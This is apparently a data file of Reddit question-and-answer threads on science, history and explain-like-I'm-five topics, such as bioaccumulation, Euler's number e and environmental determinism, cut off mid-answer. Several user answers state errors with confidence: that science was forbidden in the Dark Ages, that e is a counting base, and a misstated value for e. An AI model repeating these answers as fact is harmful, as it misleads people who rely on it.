{"q_id": "1zskoo", "title": "Are there chemicals that, once ingested, will never leave the body?", "selftext": "I've heard that ingesting certain chemicals (either by breathing them, absorbing through the skin, or consuming with food) have a cumulative effect on the body because they don't leave with the rest of the bodily waste (This is evidently what people who claim \"detoxing\" works are supposed to be curing.) How true is this? I was under the impression that the body slowly replaces all of its cells in a few years. If so wouldn't it be the case that in that time any residual chemicals would also leave the body? If not how does that persistence work?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zskoo/are_there_chemicals_that_once_ingested_will_never/", "answers": {"a_id": ["cfwq7wb", "cfwrbkb", "cfwrj28"], "score": [3, 25, 5], "text": ["This would depend on the chemical. Generally speaking the chemicals would either replace, or bind to, parts of your body that aren't replaced. Also, things can only leave your body if your various filtering organs (such as liver and kidneys) are capable of filtering them.\n\nFor example, radium can get incorporated into your bones, replacing calcium.", "\"Never\" might be a bit of a strong word for something that's ultimately statistical. But yes, some things can stay in your body effectively forever, the technical term for this is [bioaccumulation](_URL_0_). These tend to be compounds (such as heavy metals) which end up in your fat tissue, (and will remain there as long as the fat is there) and things which bind chemically bound to your bones, and similar. These are things that are not replaced very rapidly. Nor are your cells replaced, much of the stuff that makes up most the cells are replaced continually. \n\nThings can also bioaccumuate even if they leave the body relatively quickly, if they're being taken in faster than they can be excreted. So it both depends on the compound and the concentrations.\n\nIs there a cumulative effect? Yes, that's how things like (chronic) heavy metal poisoning work.\n\nHowever, \"detoxing\" with ginger root or whatever does _not_ work, and has no scientific support. (note that it's always vague and unspecific 'toxins' those things supposedly remove). There is really only one case where something like that works, which is using chelating agents (compounds that bind strongly to specific things, usually metal ions) which can bind up metals in the case of _acute_ poisoning (getting a lot at once), and help keep them from getting stuck in your body. It does nothing to remove things that are already 'stuck'. Chelation therapy is a dangerous medical procedure (an extreme measure for an extreme situation), because it is not entirely specific to the heavy metals it's supposed to remove, and will bind and remove needed mineral ions from the body as well. On a similar note, some antidotes work in a similar way, by chemically reacting with a toxin into some less harmful compound. Those are also specific to specific toxins, but not so specific that they don't tend to damage other stuff. Obviously, taking antidotes as a preventative measure is _not_ a good idea.\n\nThis lack of specificity is why \"detox\" stuff can easily be dismissed: \"Toxins\" is not a specific thing (even whether something is toxic or not can depend on the dose). There does not exist any chemical property that all or even most toxins have in common, and especially not any property they don't share with compounds that are supposed to be in your body. On the contrary, things are often toxic _because_ they're chemically very similar to things that are supposed to be there, and thus get integrated into your body, but then not quite similar enough to serve the same purpose. They're like parts that fit into the machine but don't work.\n\nSo there _could not_ exist, even in principle, any 'detoxifying' agent that targeted 'toxins' in general. Even targeting one single compound with great specificity is extremely difficult. For instance, it's considered a bit of a marvel of nature that the potassium channels in cells _only_ allow potassium ions to pass through them, when sodium atoms are near identical except for being slightly _smaller_. Figuring out how that worked was a Nobel-prize winning discovery (MacKinnon, 2003).\n\n", "The other answers get to the heart of what you're asking, but I wanted to address one thing in your post, namely\n  >   I was under the impression that the body slowly replaces all of its cells in a few years. \n\nThis isn't true at all.  There's high cellular turnover in some organs, like skin, but most of the body isn't like this.  Entire organs don't get resculpted, generally speaking, and some, like the brain and muscle, are almost entirely comprised of tissue you developed as a very young child (including in utero).  For the most part, the body is pretty static, and dying cells are often replaced with fibrous scar tissue rather than with similar cells.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Bioaccumulation"], []]}
{"q_id": "5f6hrp", "title": "demonetization. the one that india is doing right now. how is it good/bad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5f6hrp/eli5_demonetization_the_one_that_india_is_doing/", "answers": {"a_id": ["dahudw4"], "score": [8], "text": ["For India, the good is reduced corruption/tax avoidance - if all money and transactions are online and recorded, it is much easier to track (i.e - if people pay you by credit card rather than cash, it's much harder to hide).  India has a very big problem with tax avoidance, counterfeit currency, etc.\n\nThe bad in India is that half the population does not have a bank account - so a cashless society may not work in India because cash is the only access to currency that much of the Indian population has.\n\nIn addition, the rich already have other much more effective means to avoid paying taxes and to hide their wealth.\n\nSweden has gone a similar route, but everyone there pretty much already had bank accounts and corruption was much less prevalent - they did it more for efficiency than to cut down on corruption.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1acd0i", "title": "Has the Copernican Principle been debunked?", "selftext": "I was browsing /r/ChristianApologetics and came across [this post](_URL_0_).\n\nHere it is in full if you don't want to switch to another subreddit;\n\n--------------------------------------------------------------------------\nBehold the Ecliptic Alignment of Cosmic Microwave Background Anisotropy, directly from the Wilkinson Microwave Anisotropy Probe:\n\n_URL_2_[1]\n\n(Refer to page 8) As you can see the Quadrupole and Octopole planes aligned at 99.6% C.L. This means that currently there is 99.6% alignment ~ +0.4%\n\nAs Lawrence Krauss is quoted in an article on the website _URL_1_\n\n\"But when you look at [the cosmic microwave background] map, you also see that the structure that is observed, is in fact, in a weird way, correlated with the plane of the earth around the sun. Is this Copernicus coming back to haunt us? That's crazy. We're looking out at the whole universe. There's no way there should be a correlation of structure with our motion of the earth around the sun \u2014 the plane of the earth around the sun \u2014 the ecliptic. That would say we are truly the center of the universe\"\n\nA peer reviewed paper on this scientific revelation can be found here:\n\n_URL_3_[2]\n\nAs Lawrence Krauss later explains:\n\n\"The new results are either telling us that all of science is wrong and we're the center of the universe, or maybe the data is imply incorrect\"\n\nBut as the refined measurements in 2012 suggest, this alignment is no accident, or illusion. From what I understand the Wilkinson Microwave Anisotropy Probe has taken other measurements off other points in the sky and the results have correlated perfectly with well established data. The refined measurements from 2012 also ruled out the possibility of unexplained patterns in the Johnson Field, as the measurements have been so well cross referenced with other patterns in the sky.\n\nThis has enormous Scientific and Theological impact. It means that either we are at the center of the universe, or the rest of the universe is a lie, an illusion. No matter what the result is, it means that the Copernican Principle that lead the world into the Age of Enlightenment is a misconception.\n\nI would also like to mention that the cosmologists and I are aware of the illusion of Special Relativity and Universal Inflation. This anomaly is independent of this, as it involves cosmic patterns, not distances.\n\nI can say with confidence that this is the greatest time in History to adhere to theistic beliefs. The implications are truly staggering.\n\n-------------------------------------------------------------------------------------\n\nThat was the post in full when I first saw it.  I did originally cross post this into /r/DebateReligion, but several people recommended I post it here, and I had originally intended to do so.  The OP maintains that \"the Science is down pat, that's for sure, to this day (2013) it hasn't been debunked\", according to a discussion I've been having with him.  \n\nSo, /r/askscience, help me out.  Is this true?  Or was there some fault with the experiment or the analysis of the data?  I'm not a cosmologist or physicist by the way, so you may have to explain some things to me like I'm 5.  Thanks in advance.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1acd0i/has_the_copernican_principle_been_debunked/", "answers": {"a_id": ["c8w60jc", "c8w6rxs", "c8w7vwn", "c8wi33j"], "score": [25, 2, 5, 10], "text": ["Well, none of those links are working for me, but the cosmological principle has certainly not been debunked (or if it has, it's happened in the last few minutes which is why neither I nor anybody else in my department has heard of it).\n\nIt's much, much, much more likely that there is a problem with the data from WMAP, or that there's a mere coincidence, than that the Solar System occupies a special place in the universe. This is like that hullabaloo about the neutrinos from CERN that appeared to go faster than light-- remember that? The experiment seemed to indicate that neutrinos were breaking the cosmic speed limit, and the people running the experiment basically asked the physics community to help find their error. The press, of course, went nuts with speculation about ***Was Einstein Wrong??*** Some months later, it was discovered that there was a faulty cable connection somewhere in the experiment which had thrown off the results. **The lesson is that you don't throw out an extremely well-established idea, one with lots of supporting evidence, on the basis of one experiment, because there's always the possibility that your data are flawed in a way that you aren't aware of.**\n\nThe last five hundred years of astronomy have consisted of discovery after discovery which indicate that there is absolutely nothing, apart from possibly the presence of life, which makes Earth or the Solar System exceptional. The Sun is a fairly ordinary G-type star, we're finding that planets are extremely common, the Milky Way is a fairly normal, somewhat large barred spiral galaxy, and the Local Group also appears quite ordinary. \n\n > I would also like to mention that the cosmologists and I are aware of the illusion of Special Relativity and Universal Inflation. This anomaly is independent of this, as it involves cosmic patterns, not distances.\n\nThis part is pure and unadulterated bullshit. Special relativity is not an illusion, and neither is inflation or expansion. Whoever's peddling this tripe doesn't understand what they're talking about.\n\n**EDIT**: [Hansen et al 2012](_URL_0_) (pdf) argue that Kuiper Belt foregrounds can adequately explain the correlation.", "For those curious about the question who want a proper link to a scientific paper on the issue: _URL_0_ . Around page 10 they go into a summary of the issue and possible causes of the data. Importantly, though, it does not disprove the cosmological (aka Copernican) principle. It certainly does not \"disprove\" cosmology: in fact, it's quite exciting (if the data is real and not an artifact of instrument errors or the data processing, which is unlikely but possible).\n\nIt hasn't been \"debunked\" because there is nothing to really debunk: it doesn't show anything clearly. Not yet, anyways. Worst case it shows a systematic error that would destroy *all* the CMB data (but I mean absolute worst case, that's incredibly unlikely). We might yet have to throw out a few results from the data, or we may have found something interesting and new about the universe. Scientists aren't sure what it means AFAIK: cosmology is a rapidly advancing field.", "Some food for thought:\n\n* Overwhelming evidence shows the Earth orbiting the Sun (and not vice versa), the Sun orbiting the center of the Milky Way, and the Milky Way moving toward the center of the local group.  \n* The plane of the Solar System does not line up with the plane of the Milky Way in any particular manner.\n* A new theory in which the Earth is the center of the Universe would have to account for, among other things, the extremely peculiar relative motion of the Voyager probes.\n* The Solar System was formed long, long after the Big Bang and the emission of the CMB.  What was the center of the Universe before the Earth existed?\n* We look into deep space and see galaxies like ours, containing stars like ours *everywhere*.  We estimate that there are at least 10 sextillion stars, and upwards of 100 times that in the observable universe.  We observe planets around nearby stars.  It would take an enormous leap of faith to believe that our Sun harbors the single planet that's the center of everything.", "Why would it be shocking if the solar system really *is* aligned with these background patterns? It has a 1% chance of being within 0.9 degrees of these features. Not cosmically small by any means."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/ChristianApologetics/comments/1abjnu/evidential_copernican_principle_debunked/", "Edge.org", "http://www.physik.uni-uerzburg.de/fileadmin/11030230/Vortraege/HEU_rakic.pdf", "http://www-personal.umich.edu/~huterer/PRESS/CMB_Huterer.pdf"], "answers_urls": [["http://arxiv.org/pdf/1206.6981v2.pdf"], ["http://arxiv.org/pdf/1004.5602v2.pdf"], [], []]}
{"q_id": "3cfl9c", "title": "How significantly bigger would the world population be if both World Wars never happened? Secondary question, what would the current world population if there was no holocaust but both world wars still happened?", "selftext": "Hopefully this is the right sub, I just want to know what the extrapolation of an increase in the potential population around 1945 would look like today. \n\nIn both world wars there is an estimated 17 million deaths. If all of these people had lived and the usual proportions had children etc. how big would the world population be today. \n\nThe second question is what would the world population be today if there were 6 million fewer deaths in total (so 11 million).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cfl9c/how_significantly_bigger_would_the_world/", "answers": {"a_id": ["csvcvc0"], "score": [8], "text": ["One could argue that the World Wars helped in the population being much greater today. Because, despite so many people losing their lives, R & D that happened during the Wars advanced medical and health sciences so much that the rate at which the population grows increased massively "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9tpo6k", "title": "if a satellite leaves earth transmitting live video back to us, assuming it continues to do so until it reaches a distance a light year away, how do we experience the video as it gets farther away from us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tpo6k/eli5_if_a_satellite_leaves_earth_transmitting/", "answers": {"a_id": ["e8y62v5", "e8yj3t8"], "score": [7, 4], "text": ["You experience it normally, as continuous video, because the satellite is transmitting continuously, and it will take decades or perhaps a century to actually get to 1 LY away, so you get 100 years worth of video feed.\n\nTransmission delay would happen only if you had to, say, use a remote, to change the satellite feed.   In that case, it would take a year for your remote control signal to reach the satellite, and another year for the new satellite feed to reach you.\n\nIt's like a tennis ball machine shooting balls at you on automatic as you move away, you still get hit hit hit hit hit hit hit hit with the continuous stream of balls.  On the other hand, if you're playing tennis with someone and you move away, the one ball that you're playing with takes longer and longer to travel.", "Imagine that we were born near the eastern coast of America, in a state like New York or Virginia, sometime around the early 1800s.  Maybe you settle down and have a loving family, but I - lonely yet adventurous - decide to slowly set off westward for adventure.  Nevertheless, being good friends, we decide to write each other regularly - I daily at sunrise, and you sending your reply as soon you've received my message.  (With some unnamed force of benefaction [yours or mine, who knows?] somehow arranging for our letters to be correctly couriered as I move further and further away.)\n\nThe first day, we hand each other our first letters.  We can read them \"real-time\" and chuckle to one another across the room.\n\nAfter my first night away, at an inn the next town over, my letter complaining about that early morning frost is probably able to reach you before lunchtime; and your reply reaches me well before suppertime.\n\nA week out, near the western edge of the state, the lag of mail delivery has become noticeable.  My morning letter seems to reach you sometime around nightfall, and I'm lucky if I receive your reply before I write my next letter.\n\nA month out, and I'm out in the small towns of the territories neighboring the fur traders and the natives.  Delivery by pony definitely isn't \"same day\" anymore, and I'm receiving your replies after I've already sent a second or third letter (which definitely makes our usual habit of witty ripostes more difficult).\n\nMonths out and the lag is something we're used to; we definitely can't joke together in \"real time\", but we've gotten used to retorting to \"5-letters'-old\" jokes.\n\nApproaching a year or more out and I'm nearly in California; we've kept with tradition (at damn the expense) but it's been fun.  I've congratulated you with a \"Happy Birthday\" and such, but your reply has always been lagging behind by about a bakers'-dozen letters.\n\nI met someone and am finally settling down... in California!  Our letters have stopped spreading apart in distance, but the month+ lag is definitely still present.  All my best to you and yours.\n\n\n-----------------\n\nA continuous \"video diary\" delivered by VHS on horseback going each direction would appear just as laggy as the lettered accounts, with the time-between-deliveriy slowly yet gradually occurring in both directions.\n\nOn the hypothetical ight-years-far journey, our video feed software would simply stretch out individual frame rates to compensate for the growing time difference between us (and viewing my speach patterns might be an imperceptive 1% slower than last week's or something). If we're lucky, the delay would be gradual enough so as to be comparable to the above \"pony-express\"-type situation.  Eventually, however, when I reach my final 1-LY-away destination the maximum delay is reached and individual frames are no longer stretched, but we're still left with sending (1-year-delayed) messages to one another.  (Unless some \"faster-than-light\" communications tech is developed to overcome \"speed-of-light\" travel in the same way that roads/rails sped up delivery to the west much faster than horses' applied to FTL travel/comms)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ais1sf", "title": "Questions on Islamic World Literature?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ais1sf/questions_on_islamic_world_literature/", "answers": {"a_id": ["eeq9tlc"], "score": [3], "text": ["It\u2019s important to note that there is no definitive beginning to literature in the Islamic world: while the Qur\u2019an and Quranic themes do define many elements of that tradition, much of what the wider Islamic world produced culturally, scientifically and theologically in the medieval period was inherited from thousands of years of civilization in the Middle East and the Mediterranean, particularly that of the Iranian and Greco-Roman traditions, as well as other Abrahamic peoples that thrived amongst the various caliphates and sultanates in the region (particularly Jews and Syriac Christians). Even the Quran itself claims to be the culmination of a long lineage of Judeo-Christian narratives, including, as you mentioned, the Torah.\n\nIf I had to name a few books, I\u2019ll start with one very important work of literature that has shaped Iranian culture and the cultural identity of greater Iran (the Caucasus, Central Asia, northern India and Iran itself). It\u2019s called the Shahnameh (\u201cBook of Kings\u201d in Persian), an epic poem written by Ferdowsi in the 11th century CE. It\u2019s so important that it has almost single-handedly preserved the entire content of the medieval Persian language, making it so that modern Persian is basically identical to the Persian of Ferdowsi\u2019s time. As far as literary content, it\u2019s similar to Ovid\u2019s Metamorpheses, in that it presents a mytho-historical story of Iran, starting with Creation and ending with the fall of the Sassanid Empire (during the Arab conquest of Iran), with a particular focus on the Sassanid era as a \u201cGolden Age\u201d of heroes and great kings in Iran\u2019s history. The themes and imagery from the Shahnameh are also important to Islamicate art history, since much of Timurid (particularly in the Mughal Empire of India) and Safavid art features settings and subjects from the epic. There are a few very popular stories from it, like that of Rostam and Sohrab, that you might want to look into.\n\nThere are actually a lot of similar mythological romances in the greater Iranian world, such as the Iskandernameh (Book of Alexander the Great) which was widely read by Ottoman emperors, and the Baburnameh, a richly written autobiography of the first Mughal emperor Babur, that records his conquest of India, his longing for his homeland in Central Asia and even some homosexual themes. \n\nA set of more religious/philosophical works from Islamic literature are those of Islamic theologian/Sufi Rumi (actually one of the most widely read poets in the USA) \u2014 particular his \u201cMathnawi-i ma\u2019nawi\u201d and \u201cDiwan-i Shams-I-Tabriz\u201d, while another similar Sufi figure is Hafez e-Shirazi, who wrote series of short, beautiful ghazals (poems) that\u2019ve been compiled into anthologies by modern authors. Although he wasn\u2019t Muslim (he was agnostic or atheist), another great work is that of Omar Khayyam, a 13th century Iranian mathematician who wrote the Rubaiyat, a collection of poems that gained lots of fame in the Anglophone and French world in the 19th century. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "94x7gk", "title": "in the dark ages people drank a lot of alcohol because it was cleaner than the water at the time. i never heard much about liver failure in history class and was wondering if it was common to have liver failure back in the dark ages?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94x7gk/eli5_in_the_dark_ages_people_drank_a_lot_of/", "answers": {"a_id": ["e3ofrn0", "e3ofrta", "e3ofvxd", "e3ofvxt"], "score": [4, 3, 2, 2], "text": ["I dont think it was diagnosed and understood the failure of the liver. Plus beer is not as strong and available as hard liquor", "Probably. But they had no way of knowing because internal medicine was very primitive. Also life expectancy was much shorter and the alcohol content was probably much lower.", "Scientific study, including medical practice, was forbidden at the time hence \"Dark Ages\". So if (no doubt when) people would die from liver failure, it was dismissed as 'natural death' or even as a sign of God. ", "They drank a lot of \"wee\" beer. It was low alcohol \"session\" beer. Think 3.2 if you're from one of around 10 states that had it at one time or another. There was little if no distillation depending on where you were at. Also your life expectancy so low so you'd be likely to die of something else prior to cirrhosis."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3c0rti", "title": "the number 'e'.", "selftext": "Hey. I was listening to a radio show in which they were discussing statistics, and they threw out \"e\" without any explanation.\n\nIn this case, they used it to decide that the statistically significant number of people out of a group of 100 was 36.\n\nI have no maths knowledge beyond what I learned in high school, so all the explanations I found on google have been far beyond my comprehension. \n\nSo please, if you will, what is e? And what does it mean? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c0rti/eli5_the_number_e/", "answers": {"a_id": ["csr8isr", "csra8bo", "csrcwy5", "csre4re", "csrf482", "csrlfgb", "csrlmf4", "csrofct", "csrpopg"], "score": [14, 33, 6, 2, 3, 2, 13, 4, 3], "text": ["The mathematical constant e is also known as Euler's Number.\n\nIts origin comes from calculating compound interest, but like Pi is tends to pop up in lots of other places, including statistics. \n\nHere are a few other threads on this topic:\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_\n\n_URL_3_", "e is one of the fundamental constants in math.\n\nYou probably know some of the others.  Like the arithmetic identity (0) - if you add the arithmetic identity to any number, you get the number back.  You probably also know the multiplicative identity (1) - if you multiply the multiplicative identity to any number, you get the number back.\n\ne is what might be termed the 'differential identity'.  If you take the integral or derivative of the exponential function e^x, you get back e^x.  So just like you need to pay a lot of attention to your 1's and 0's with multiplication and addition, you pay a lot of attention your e's when you're using calculus.", "Although e is a number, it only really has significance when it is to the power of something. So e^x (e is multiplied by itself x times)\n\nIt describes things that increase (or decrease) proportionally to the number. Another way of saying this is, the more of something there is, the faster the number gets bigger. The spread of disease is a great example, the more people have the disease, the more people get infected.\n\nIt's something that seems very specific, yet it comes up in so many areas of maths. For example sin(x) = 1/2i ( e^ix - e^-ix ) where i=sqrt(-1). This is mainly due to the fact that natural variables are often related to their own rate of change, if that makes sense.", "I'll start by talking about money and interest. The easy way to do interest is appropriately called simple interest, and only looks at how much money you put in. So if you put $100 dollars into an accounts and are earning 1% simple interest annually, you get another dollar every year. But of course, no one would do that. You'd probably invest that dollar and start making interest on it. So you get compound interest, where the first year you make $1, the second year you make $1.01, and so forth. The formula is F=P(1+i)^t\n\nBut it's not always annual. Let's say you want to earn interest every six months. So we'll halve the rate, but double the number of terms. Or we could do it monthly. 1/12 of the rate and 12 times the number of periods. F=P(1+i/n)^(tn)\n\nNow let's say we're continuously compounding it. n effectively equals infinity. Through some calc that's not really relevant, we get that F=Pe^(rt) Where e is exactly that constant, 2.71828...\n\nLike \u03c0, it's one of those numbers that shows up all over the place. (\u03c0 even shows up in the probability that a needle will lay across one of multiple evenly spaced lines. [Buffon's Needle](_URL_0_)) Although I'll admit that despite being in statistics, I'm not quite sure what e has to do with this case. I have a few guesses, but I'm still not sure.", "So, in statistics, e is an interesting thing mostly because of it's derivative properties. Namely the derivative of e^x is e^x, the slope at some point is the same as the value at that point.\n\nWhy it matters in statistics is the idea that we assume there's a real average and we're trying to find it. Something called the [central limit theorem](_URL_1_) says that independent measurements of the same thing will converge on the real number. If you ask a bunch of people how many jellybeans are in a jar, each will be wrong but as you ask more people, the average answer gets pretty close. This error is predictable and when a measurement meets these criteria, it is said to have a normal distribution ([bell-curve](_URL_0_)) where the slope of the curve is proportional to it's distance from the average.\n\nYou're likely to get answers that are closer to the truth, but likewise, the error should also follow such a distribution. So you're more likely to be kind of wrong than you are to be exactly right. But you're not very likely to be totally wrong. Thus, really far away, the probability is 0 and right at the peak it levels off. It's steepest in between perfectly right and really wrong. This might be sounding familiar to the definition of e given above. The slope (derivative) of the line is similar to the values along the line. This means you can write the equation for that line using e to some power, the exact power is related to what the mean and variance are.\n\nI hope that made sense, though more pictures might help.", "e^-1 = 0.36\n\nI won't get into exact details but a lot of statistical equations use exponentiation with e as the base, or the natural logarithm.  \n\nthe natural logarithm of (~36/100) is negative 1.\n", "Imagine you have 1 object and in a given period of time it will grow into 2 objects. That is 100% growth as it has doubled. However, while it is growing the parts that grew can also have more parts that grow off of them and this continues on getting smaller each time as it gets ever so close to a peak. What you will find is that eventually this growth won't really be 100% but about 171.828%. This number....is e (2.71728). It is simply 100% of growth given the circumstances that during the time of growth....that \"growth\" can have its own growth and so on...like inception.", "e is what is called a \"base.\" Think of when you count normally, we use base 10. e is just another base we can use to count in.\n\nA derivative is a rate of change in the y axis.  Think of a flat, horizontal bridge that is 4 feet above the street.  You step onto the bridge, you are now at a height of 4 feet.  In math, we could call this y=4, as in \"i am 4 feet above the ground.\"  Now you decide to walk down the bridge and eventually you stop.  How high above the ground are you? Since the bridge is flat you are still 4 feet above the ground.  Your distance from the ground is still y=4. Since this bridge never changes height, when you are asked what your \"rate of change\" is, your answer is 0.  This rate of change is called a derivative, and it is why in math we say \"the derivative of a constant is always zero.\" Because there was never a change,  there cannot be a *rate* of change!\n\nNow we get to the number e.  \"e\" is a number that when looked at as a decimal, it never ends.  I'm sure you have heard of the number pi as being something along the lines of 3.1415926.... and you can go on forever.  \"e\" is the same way.  \"e\" is 2.718... and goes on forever as well.  You know how a simple number like 5^2 = 25? Well we can also do e^2 = some number.  When we want that \"2\" in the exponent area to be generic, so that it can be anything we need it to be, we call it x. So now we have e^x .  The reason that e^x is really cool is because now we go back to the bridge idea, except instead of our bridge being 4 feet off the ground it is now e^x feet off the ground.  It is hard to visualize, but you don't need to, just follow the logic.  If you walk along this new e^x bridge, your \"rate of change\" will always be e^x as well.  Take a step, you changed e^x . Take another, you changed by e^x again. e^x is the number at which no matter how you move along the path, you will always have changed by e^x .  \n\nThis makes doing math really convienient! The area of math known as calculus (in which a huge amount of statistics comes from) is all about trying to figure out the rate of change of a path.  We use it pretty much everytime we ask the question \"ok I know what I have, but how does it change when something happens to it\" Well why not use e^x  to help us figure this out since it is really easy?\n\nThere are MANY more ways you can think about \"e,\" and it is good for understanding many other things.  In the end, it is a quite complicated number and that is why it takes several years of schooling to understand!\n\nHopefully I helped you out a bit.  If you have any more questions let me know and ill try to answer them.", "e is a number that, like pi, shows up in nature again and again, particularly when dealing with phenomena that grow or shrink toward some natural limit.  Many phenomena, from the population growth of living organisms to the decay of radioactive isotopes, can be described using mathematical statements that include e."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/explainlikeimfive/comments/22691l/eli5_the_mathematical_constant_e_eulers_number/", "https://www.reddit.com/r/explainlikeimfive/comments/t6u75/eli5_what_is_eulers_constant/", "https://www.reddit.com/r/explainlikeimfive/comments/k3d7r/eli5_eulers_number/", "https://www.reddit.com/r/explainlikeimfive/comments/1db4tb/eli5_what_is_eulers_number/"], [], [], ["https://en.wikipedia.org/wiki/Buffon's_needle"], ["http://www.oxfordmathcenter.com/images/notes/300-00.gif", "https://en.wikipedia.org/wiki/Central_limit_theorem"], [], [], [], []]}
{"q_id": "wto6p", "title": "how the olympics 2012 logo cost \u00a3400 000", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wto6p/eli5_how_the_olympics_2012_logo_cost_400_000/", "answers": {"a_id": ["c5ggnb7"], "score": [5], "text": ["**ELI16:**\n\nI don't know the ins-and-outs, but here's a rough guess on what might have happened, based on working in the brand/graphic design industry\n\n1) Wolff Olins are one of the biggest/most well known brand consultants out there, so that means they're expensive. High profile work means you've likely got top consultants on the project, who can easily be charged at \u00a32000-4000 p/day. Might even be more than that. This adds up quick.\n\n2) IOC is a big organisation, usually that means there is a lot of internal politics going on. This means that, as an agency, there is a lot of time involved in client management. \n\n3) It's also very high-profile work, so a lot of people will try to stick their oar in. That usually means you do dozens and dozens of logo explorations and versions of the logo before you arrive at the final one. All of this will be charged\n\n4) At this level of branding, you're doing copyright checks on the work that's provided. So that's additional time invested from WO from the legal department.\n\n5) It differs per agency, but branding does have a tendency to do research on (in my opinion) meaningless brand association work in order to legitimise the design choices. Again, more chargeable hours. (I'll try to find the documentation on the latest Pepsi logo to give you an idea on this)\n\n6) Was it just the logo at \u00a3400k? Could also be the complete identity, which means you're talking font/colour/key graphic elements/product naming (copy) etc. All of that has to go through the above process.\n\n\n**ELI5:**\n\nThe choice of the logo is a very important decision that's going to be seen hundreds of times by millions of people worldwide. That means there are a lot of people involved who all have to be paid.\n\n\n**Edit**\n[Here](_URL_0_) is a report on the pepsi document I was talking about.\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/2012_Summer_Olympics#Logo"], "answers_urls": [["http://gawker.com/5150582/breathtaking-document-reveals-pepsis-logo-is-pinnacle-of-entire-universe"]]}
{"q_id": "203un3", "title": "depositions in the united states.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/203un3/eli5_depositions_in_the_united_states/", "answers": {"a_id": ["cfzjqmc"], "score": [2], "text": ["What about them? What are you asking?\n\nYou go in and someone will ask you questions which you answer. You have to tell the truth because it's like you're in court. Someone will be recording you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1q6g8x", "title": "in the marvel superhero world, why do the avengers not always work together?", "selftext": "Basically, my roommate posed this question to me while we went to go see Thor: The Dark World last night. If the Avenger exist and all exist in the same world, why would any of the superheroes face a villain by themselves? \n\nIt personally doesn't matter to me, I still love the Marvel superheroes, but I am curious.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q6g8x/eli5in_the_marvel_superhero_world_why_do_the/", "answers": {"a_id": ["cd9np9u", "cd9nqvt", "cd9o5ol"], "score": [2, 3, 6], "text": ["Because they have their own villains to face.  Also lives.", "While I'm sure the true reason is that, for the most part, each comic book super hero is generally contained within their own stories.  Someone who reads Thor wants to read about Thor; not how Thor calls all the avengers every time.  Comic Book characters were often created as separate entities, and while they exist in the same universe, they are still their own characters, and people want to read about those characters.\n\nAlso, we have many police officers in the country, but when there's a bank robbery in Atlanta, they don't call every cop in the country.  When something goes MASSIVELY wrong, sure, they'll bring in cops from all over the place, but for smaller incidents, it's not practical to call in the cavalry every time", "Because most of the Marvel movies happen at either the same time or very close together. I remember during Iron Man 2, Phil mentioned something about going to New Mexico, which is where Thor's hammer landed (and it's explicitly shown after the credits), making IM2 and Thor have a small amount of overlap in events."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "59ndxy", "title": "Why is Environmental Determinism wrong?", "selftext": "I'm just getting into history so I really don't know a lot. But I want to understand why so-called \"Environmental Determinism\" is wrong? It seems like the environment would play a big part in how different civilizations played out. And if it is wrong why were the people in Europe so much more technologically advanced than say the people of north America. \n\nAnyway, thanks for reading and I hope this isn't a stupid question. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/59ndxy/why_is_environmental_determinism_wrong/", "answers": {"a_id": ["d99yt7k", "d9a6hcm"], "score": [92, 62], "text": ["The issue most historians and many other academics have with deterministic theories is that they reduce what is usually a very complex issue into a very simple, usually singular explanation. Almost by definition, that explanation - where some extremely complex process that may happen over centuries is claimed to result from a very limited set of causal factors - is going to be either outright wrong or at least very misleading. \n\nThere are few historians who would say that environment, for example, has *no* effect on how the history (for instance) plays out. But the more deterministic treatments, like Jared Diamond's infamous *Guns, Germs and Steel*, tend to advance a claim that the environment (for example) has been *the* deciding factor that explains, for example, why Europeans were technologically more advanced. Such works almost invariably have to mangle their source material quite a bit to present their argument. If you search for \"Guns, germs and steel\" from /r/AskHistorians, you should quickly see several examples.  \n\nSometimes this is deliberate, and those who are found to resort to deliberate fact-twisting to advance a pet argument are rightly reviled in the academia. More often, though, the author has a pet argument and then more or less unconsciously selects only material that supports that particular argument. As physicist Richard Feynman once put it, in science the easiest person to fool is oneself: when a researcher believes she has a nice theory, she will quite often go to some lengths to \"prove\" it. The reason many academics dislike such researchers and, in particular, their popular books is because these theories are often very compelling to those who aren't well versed in the subject - but may leave out so many important issues that they give a completely skewed view of what the broader academic community believes have been important factors or caveats. \n\nSimplistic theories like determinism rise up every now and then because so many people are attracted to simple explanations and seem to want to believe that complex events should have simple, easily explainable causes. Promoting radically simple theories is often a good way to gain publicity and publishing contracts, and if one could \"prove\" such a theory, then one could really make one's mark in academia. Those reasons, in my opinion, go a long way towards explaining why despite everything there are always those who 